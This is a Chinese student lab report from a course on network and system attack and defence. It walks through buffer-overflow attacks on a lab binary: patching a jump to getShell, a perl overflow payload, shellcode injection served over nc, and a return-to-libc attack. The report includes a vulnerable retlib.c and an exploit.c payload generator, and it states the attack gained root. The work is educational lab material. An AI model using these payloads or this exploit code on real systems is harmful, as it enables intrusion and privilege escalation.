20202411 2022-2023-2 《网络与系统攻防技术》实验一实验报告

本文详细记录了一次关于《网络与系统攻防技术》课程的实验过程,涵盖了从租用阿里云服务器,熟悉Linux环境和指令系统,到实施不同类型的BOF攻击,包括直接修改程序指令、构造输入参数、注入Shellcode以及Return-to-libc攻击。实验中遇到了环境配置、汇编知识和内存随机化等问题,并逐一找到解决方案,最后对实验进行了反思和学习感悟。
摘要由CSDN通过智能技术生成

20202411 2022-2023-2 《网络与系统攻防技术》实验一实验报告

BOF

1.实验内容

对于课程提供的pwn1二进制文件,反汇编后进行不同方式的BOF攻击,通过熟悉汇编语言直接进行指令跳转到getShell,也可以通过观察getShell和foo两个函数的地址,通过在输入中注入过量数据来覆盖地址,进行跳转达到BOF。也可以通过Shellcode注入的方式进行BOF攻击。

2.实验过程

2.0-来一台阿里云服务器

这年头找一个32位的Ubuntu16.04也是麻烦,而且自己搭建环境还要好久,原来想用Docker去pull一个环境的,后来发现不如云服务器来的方便,所以就直接在阿里云上租了台服务器,不仅不需要自己搭环境而且镜像源又快。具体配置如图,32位Ubuntu16.04,2c4t Intel Xeon,i686架构。少买一瓶农夫山泉就能免去前期的烦心事。1

2.1-熟悉Linux,BOF和指令系统

管道为不同命令之间的协同提供了一种方式,管道|左边的命令作为输出的结果,管道|右边的命令作为处理对象的输入。

覆盖输入>命令可以将要输入的重定向输入到输入命令后面的文件中,并且将文件中原有的文件内容覆盖。也就是说不管你原文件中写了什么,覆盖输入之后只有你新写的内容了。

追加输入>>命令可以将要输入的内容重定向到输入命令后面的文件中,但是与覆盖输入不同的是,原本的文件中的内容并不会被覆盖,新输入的内容是追加在文件最后面的。

汇编语言是一些简单的助记符,将机器指令做一个人能读得懂的映射,比如
mov eax, ebx是ebx中的数据移动到eax中,add byte ptr [af996h], 4是将4这个数值加到byte类型中地址为af996的中。还要主要一下AT&T和Intel两种格式的,可以参考b站王道计算机组成的讲解,或者Intel的官方文件。ass

2.2-直接修改程序机器指令,改变程序执行流程

对于下载获取pwn1二进制文件,通过objdump -d进行反汇编,生成十六进制的文件,我们可以在文件中看到不同函数的的机器码和对应的汇编语言,我们可以推测出其中包括的头文件和自定义的函数。2
我们可以查到getShell函数对应的地址和foo函数对应的地址,在x86中采用小端存储模式,并用补码表示。所以我们用c3去替换d7,保存后退出。修改之后我们可以看到汇编指令中的地址变成了getShell的地址。
然后运行。可以看到可以成功进入函数中的shell。8

2.3-通过构造输入参数,造成BOF攻击,改变程序执行流

由于我们事先关闭了堆栈保护,在调用函数时会先将返回地址等数据压入栈中,在输入进行过量的数据就可以覆盖地址。所以我们通过perl输入"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"进行缓冲区溢出,在最后用0804847d进行覆盖,这样我们就可以在返回地址的时候跳转到getshell函数。就可以成功完成BOF攻击。13

2.4-注入Shellcode并执行

因为Ubuntu系统默认是关闭堆栈可执行并开启了地址随机化,这对缓冲区注入并不有帮助,所以我们事先将这两项关闭。根据教程所说,nop既是为了作为填充,也是为了作为滑行区,保证在占用缓冲区时只要运行到任意一个nop上就可以继续执行直到我们设置的地址这。在这里就跟着刘老师的坑然后跳进去,在Shellcode中最后不能是x0a,否则在另一个终端输入enter时就不能继续,这个答案也很简单,x0a用十进制来表示就是10,ASCII中10就是\n换行符。

接着在gdb里进行调试运行,通过查看寄存器的值来,并查看相应地址的内容来判断我们的代码在哪里。14

然后就跟着跳坑里了。重新改用anything+retaddr+nops+shellcode的模式进行注入。16

可以看到在输出了我们设定的32个A后成功调用了getShell函数。然后结合nc来模拟远程攻击。现在靶机上输入nc -1 0.0.0.0 -p 3389 ./pwn4,监听所有主机发送的信号,监听端口为3389,因为反正用的是Linux不是Windows,3389端口在安全组中一定是打开的,所以就用它了。接着在攻击机中将Shellcode通过nc发送给靶机,就成功实现BOF。18

2.5-打破栈不可执行的Return-to-libc攻击实验

既然教程最后问了这几个问题,那就挑一个去试试。首先还是关闭随机内存并将zsh链接到sh上。通过gcc -z noexecstack -o test test.c设置栈可执行。找一份有BOF漏洞的retlib.c文件,

引用自LeftCoast.《Return-to-libc攻击实验》

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

并在用GCC编译的时候关闭栈保护。通过从badfile中读取40字节的内容放到12字节对缓冲区中进行BOF攻击,用户利用这个漏洞就有可能获取到root权限。然后创建读取环境变量的getenvaddr.c文件并进行编译。

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

最后编写攻击程序exploit.c。其中包括三个地址,并别用来保存BIN_SHsystemexit 的地址。用getenaddr获取BIN_SH的地址,然后用gdb调试获取system和exit的地址。

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

24
25

将获取到的地址放到exploit.c文件的对应地方。重新编译运行。问问系统whoami。获得root权限。26

最后的最后其实有个堆缓冲区溢出致本地提权漏洞(CVE-2021-3156)也想试试,但是阿里云上的镜像已经修复了,那这次试验就这样吧。

3.问题及解决方案

  • 问题1:perl: warning: Falling back to a fallback locale ("en_US.UTF-8")

  • 问题1解决方案:对于Perl这语言并不熟悉,看起来应该是没有配置环境变量导致的,如下图进行修改后可以修复。11

  • 问题2:下午做实验还行晚上再做就不行了

  • 问题2解决方案:后来在做后续实验时重制内存随机化,发现每次连接云服务器时内存随机默认都是2,应该并不是以通过修改系统文件的方式改变内存随机化,而只是在对应进程中临时更改了一次,就像不同终端进行管理员权限操作,都需要输入sudo和密码。

  • 问题3:对于汇编与架构不熟悉

  • 问题3解决方案:去下载了Intel软件开发手册,上面详细的记载了寄存器和指令等相关信息。不过5000多页,牙膏厂估计自己也不想看。
    Intel1
    Intel2

4.学习感悟、思考等

这次的实验至少在跟着教程的情况下还是比较好做的,不过其中的缓冲区中要放多少的输入,放哪些数据这些问题确实还是要好好思考的,因为像要去算地址,每16位16位的去查看,然后跳转,用多少的垃圾数据能够将缓冲区占满,然后还要将我们要进行跳转的地址放到正好要跳转的地方去,也不是一下子能想明白的。而且像在开启了内存随机化,栈不可执行,64位架构的情况下,这些漏洞的攻击方式又要重新思考了。

参考资料

写了篇博客竟然还被评为CSDN每天最佳新人,何德何能,承蒙厚爱,何其有幸。

文章

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值